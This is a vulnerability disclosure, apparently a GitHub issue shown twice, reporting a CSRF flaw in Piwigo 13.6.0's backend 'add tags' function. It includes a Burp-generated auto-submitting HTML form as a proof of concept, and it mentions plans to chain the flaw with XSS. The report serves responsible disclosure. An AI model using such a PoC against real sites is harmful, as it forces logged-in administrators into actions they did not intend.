Piwigo 13.6.0 is vulnerable to Cross Site Request Forgery (CSRF) in the "add tags" function.
This vulnerability lies in the 'add tags' function in the backend.
![image](https://user-images.githubusercontent.com/27283436/235408051-ac0c44e8-32e0-4912-a260-83f0b8891db2.png)

Try creating a new label here.
![image](https://user-images.githubusercontent.com/27283436/235408127-ba083289-7885-4be2-8ce4-942db7401af2.png)

Use burpsuite to intercept this request.
![image](https://user-images.githubusercontent.com/27283436/235408173-fba8ba87-c076-44ff-8d9d-f676b012bc1a.png)

You can see that CSRF-Token does not exist here,So we can generate a CSRF POC.
![image](https://user-images.githubusercontent.com/27283436/235408363-e77366d5-a4a7-4f7c-8171-f6a647328a34.png)

Execute this poc,note that there are no tags here at this time
![image](https://user-images.githubusercontent.com/27283436/235408598-989972f6-1af3-4c2f-a910-3ce86b9dda7e.png)
![image](https://user-images.githubusercontent.com/27283436/235408639-8b68b254-ab51-4a28-b1bf-ac3849c3ba89.png)

After executing the POC, it was found that there were new tags added
![image](https://user-images.githubusercontent.com/27283436/235408695-1388a381-607f-4234-a33c-87df2daabe70.png)
![image](https://user-images.githubusercontent.com/27283436/235408722-176217b6-0685-4378-bfcf-816576092fe8.png)
//CSRF POC:
`<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/piwigo/ws.php?format=json&method=pwg.tags.add" method="POST">
      <input type="hidden" name="name" value="test" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
`

Of course, only one CSRF vulnerability is not serious. Next, I will demonstrate the possibility of combining it with XSS vulnerabilities for exploitation


There is a CSRF vulnerability in the "add tags" function of piwigo
This is a GitHub Issue
repo:Piwigo
owner:Piwigo
Title : There is a CSRF vulnerability in the "add tags" function of piwigo
Issue date:

--- start body ---
This vulnerability lies in the 'add tags' function in the backend.
![image](https://user-images.githubusercontent.com/27283436/235408051-ac0c44e8-32e0-4912-a260-83f0b8891db2.png)

Try creating a new label here.
![image](https://user-images.githubusercontent.com/27283436/235408127-ba083289-7885-4be2-8ce4-942db7401af2.png)

Use burpsuite to intercept this request.
![image](https://user-images.githubusercontent.com/27283436/235408173-fba8ba87-c076-44ff-8d9d-f676b012bc1a.png)

You can see that CSRF-Token does not exist here,So we can generate a CSRF POC.
![image](https://user-images.githubusercontent.com/27283436/235408363-e77366d5-a4a7-4f7c-8171-f6a647328a34.png)

Execute this poc,note that there are no tags here at this time
![image](https://user-images.githubusercontent.com/27283436/235408598-989972f6-1af3-4c2f-a910-3ce86b9dda7e.png)
![image](https://user-images.githubusercontent.com/27283436/235408639-8b68b254-ab51-4a28-b1bf-ac3849c3ba89.png)

After executing the POC, it was found that there were new tags added
![image](https://user-images.githubusercontent.com/27283436/235408695-1388a381-607f-4234-a33c-87df2daabe70.png)
![image](https://user-images.githubusercontent.com/27283436/235408722-176217b6-0685-4378-bfcf-816576092fe8.png)
//CSRF POC:
`<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/piwigo/ws.php?format=json&method=pwg.tags.add" method="POST">
      <input type="hidden" name="name" value="test" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
`

Of course, only one CSRF vulnerability is not serious. Next, I will demonstrate the possibility of combining it with XSS vulnerabilities for exploitation


--- end body ---
